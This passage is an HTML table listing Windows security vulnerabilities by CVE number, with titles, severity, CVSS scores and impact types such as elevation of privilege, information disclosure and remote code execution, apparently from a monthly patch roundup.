  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50379"><span>CVE-2026-50379</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50433"><span>CVE-2026-50433</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50676"><span>CVE-2026-50676</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50677"><span>CVE-2026-50677</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34349"><span>CVE-2026-34349</span></a></td>
  <td width="256" class="xl74">Windows Media
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50394"><span>CVE-2026-50394</span></a></td>
  <td width="256" class="xl74">Windows Media
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50415"><span>CVE-2026-50415</span></a></td>
  <td width="256" class="xl74">Windows Media
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57083"><span>CVE-2026-57083</span></a></td>
  <td width="256" class="xl74">Windows Media Photo
  Codec Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54115"><span>CVE-2026-54115</span></a></td>
  <td width="256" class="xl74">Windows Message
  Queuing (MSMQ) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50447"><span>CVE-2026-50447</span></a></td>
  <td width="256" class="xl74">Windows Message
  Queuing Service (MSMQ) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50505"><span>CVE-2026-50505</span></a></td>
  <td width="256" class="xl74">Windows Message
  Queuing Service (MSMQ) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50342"><span>CVE-2026-50342</span></a></td>
  <td width="256" class="xl74">Windows MIDI Service
  Module Elevation of Privileges Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56183"><span>CVE-2026-56183</span></a></td>
  <td width="256" class="xl74">Windows MIDI Service
  Module Elevation of Privileges Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56187"><span>CVE-2026-56187</span></a></td>
  <td width="256" class="xl74">Windows MIDI Service
  Module Elevation of Privileges Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58635"><span>CVE-2026-58635</span></a></td>
  <td width="256" class="xl74">Windows Narrator
  Braille Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50500"><span>CVE-2026-50500</span></a></td>
  <td width="256" class="xl74">Windows Netlogon
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50476"><span>CVE-2026-50476</span></a></td>
  <td width="256" class="xl74">Windows Network
  Connections Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50450"><span>CVE-2026-50450</span></a></td>
  <td width="256" class="xl74">Windows Network
  Connections Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56650"><span>CVE-2026-56650</span></a></td>
  <td width="256" class="xl74">Windows Network File
  System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56649"><span>CVE-2026-56649</span></a></td>
  <td width="256" class="xl74">Windows Network File
  System Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50470"><span>CVE-2026-50470</span></a></td>
  <td width="256" class="xl74">Windows Network Policy
  Server SNMP Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50496"><span>CVE-2026-50496</span></a></td>
  <td width="256" class="xl74">Windows Network Policy
  Server SNMP Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56194"><span>CVE-2026-56194</span></a></td>
  <td width="256" class="xl74">Windows NFS Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56648"><span>CVE-2026-56648</span></a></td>
  <td width="256" class="xl74">Windows NFS Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50337"><span>CVE-2026-50337</span></a></td>
  <td width="256" class="xl74">Windows Notification
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49789"><span>CVE-2026-49789</span></a></td>
  <td width="256" class="xl74">Windows NTFS Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50412"><span>CVE-2026-50412</span></a></td>
  <td width="256" class="xl74">Windows NTFS Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50422"><span>CVE-2026-50422</span></a></td>
  <td width="256" class="xl74">Windows NTFS Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50672"><span>CVE-2026-50672</span></a></td>
  <td width="256" class="xl74">Windows NTFS Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56175"><span>CVE-2026-56175</span></a></td>
  <td width="256" class="xl74">Windows NTFS Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56182"><span>CVE-2026-56182</span></a></td>
  <td width="256" class="xl74">Windows NTFS Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50341"><span>CVE-2026-50341</span></a></td>
  <td width="256" class="xl74">Windows NTFS
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58640"><span>CVE-2026-58640</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49184"><span>CVE-2026-49184</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49797"><span>CVE-2026-49797</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50308"><span>CVE-2026-50308</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50386"><span>CVE-2026-50386</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50309"><span>CVE-2026-50309</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50313"><span>CVE-2026-50313</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50388"><span>CVE-2026-50388</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50448"><span>CVE-2026-50448</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50471"><span>CVE-2026-50471</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50461"><span>CVE-2026-50461</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50417"><span>CVE-2026-50417</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50482"><span>CVE-2026-50482</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50494"><span>CVE-2026-50494</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50344"><span>CVE-2026-50344</span></a></td>
  <td width="256" class="xl74">Windows OLE Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50686"><span>CVE-2026-50686</span></a></td>
  <td width="256" class="xl74">Windows OLE Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50335"><span>CVE-2026-50335</span></a></td>
  <td width="256" class="xl74">Windows Operating
  Systems Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50317"><span>CVE-2026-50317</span></a></td>
  <td width="256" class="xl74">Windows Operating
  Systems Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54987"><span>CVE-2026-54987</span></a></td>
  <td width="256" class="xl74">Windows Overlay Filter
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50435"><span>CVE-2026-50435</span></a></td>
  <td width="256" class="xl74">Windows Overlay Filter
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50409"><span>CVE-2026-50409</span></a></td>
  <td width="256" class="xl74">Windows Overlay Filter
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40400"><span>CVE-2026-40400</span></a></td>
  <td width="256" class="xl74">Windows PowerShell
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49166"><span>CVE-2026-49166</span></a></td>
  <td width="256" class="xl74">Windows Print
  Configuration Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55004"><span>CVE-2026-55004</span></a></td>
  <td width="256" class="xl74">Windows Print
  Configuration Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50499"><span>CVE-2026-50499</span></a></td>
  <td width="256" class="xl74">Windows Print Spooler
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50383"><span>CVE-2026-50383</span></a></td>
  <td width="256" class="xl74">Windows Print Spooler
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57085"><span>CVE-2026-57085</span></a></td>
  <td width="256" class="xl74">Windows Print Spooler
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50469"><span>CVE-2026-50469</span></a></td>
  <td width="256" class="xl74">Windows Projected File
  System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50434"><span>CVE-2026-50434</span></a></td>
  <td width="256" class="xl74">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50339"><span>CVE-2026-50339</span></a></td>
  <td width="256" class="xl74">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50430"><span>CVE-2026-50430</span></a></td>
  <td width="256" class="xl74">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50334"><span>CVE-2026-50334</span></a></td>
  <td width="256" class="xl74">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44800"><span>CVE-2026-44800</span></a></td>
  <td width="256" class="xl74">Windows Push
  Notifications Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50363"><span>CVE-2026-50363</span></a></td>
  <td width="256" class="xl74">Windows Push
  Notifications Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50431"><span>CVE-2026-50431</span></a></td>
  <td width="256" class="xl74">Windows Quality of
  Service (QoS) Packet Scheduler Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50372"><span>CVE-2026-50372</span></a></td>
  <td width="256" class="xl74">Windows Redirected
  Drive Buffering System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50666"><span>CVE-2026-50666</span></a></td>
  <td width="256" class="xl74">Windows Remote Access
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56647"><span>CVE-2026-56647</span></a></td>
  <td width="256" class="xl74">Windows Remote Access
  Service Infrastructure Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50330"><span>CVE-2026-50330</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50376"><span>CVE-2026-50376</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50504"><span>CVE-2026-50504</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58533"><span>CVE-2026-58533</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
